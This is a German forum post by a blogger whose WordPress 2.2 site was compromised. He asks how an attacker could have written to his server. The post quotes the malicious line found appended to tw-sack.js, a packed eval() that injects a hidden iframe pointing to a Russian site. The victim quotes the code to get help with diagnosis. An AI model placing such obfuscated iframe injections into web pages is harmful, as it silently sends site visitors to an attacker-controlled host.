Hallo liebe Gemeinde,
als ich heute mein privates Blog aufgerufen habe kam eine Weiterleitung an eine russische Seite, und zwar http://ad.1gb.ru. Ich checkte alle Skripte die ich in meine Seite eingebunden hatte, doch es änderte sich nichts. Anschließend sah ich im Firebug, dass ein iframe eingebunden war, dass genau auf o.g. Seite verwieß. Als ich meine WP-Plugins durchging und sie nacheinander deaktivierte fand ich den Übeltäter: WP-Postratings.
Das Plugin besteht aus mehreren .php Dateien und einer .js Javascript Datei, die eingebundgen werden in der Seite. Insgesamt sieht das dann so aus:
<!-- Start Of Script Generated By WP-PostRatings 1.20 -->
<script type='text/javascript' src='/wp-includes/js/tw-sack.js?ver=1.6.1'></script>
<script type='text/javascript' src='/wp-content/plugins/postratings/postratings-js.php?ver=1.20'></script>
<link rel="stylesheet" href="/wp-content/plugins/postratings/postratings-css.css" type="text/css" media="screen" />
<!-- End Of Script Generated By WP-PostRatings 1.20 -->
Als ich mir dann einmal die tw-sack.js anschaute, merkte ich, dass eine Zeile hinzugefügt wurde. Ich verglich es mit einem Backup von vor ein paar Tagen.
Die Zeile war folgende:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6.7(\'<1 5="4://2.3.8/c/9.f?e" d="0" a="0" b="0"></1>\');',16,16,'|iframe|ad|1gb|http|src|document|write|ru|in|height|frameborder|script|width|2|cgi'.split('|'),0,{}));
So, das heißt also irgendjemand hat es geschafft in eine Datei auf meinem Server zu schreiben. Wie kann so etwas möglich sein?
Ich benutze Wordpress 2.2, kann es sein, dass bei der Version Sicherheitslücken sind die sowas möglich machen?
Vielen Dank,
Marko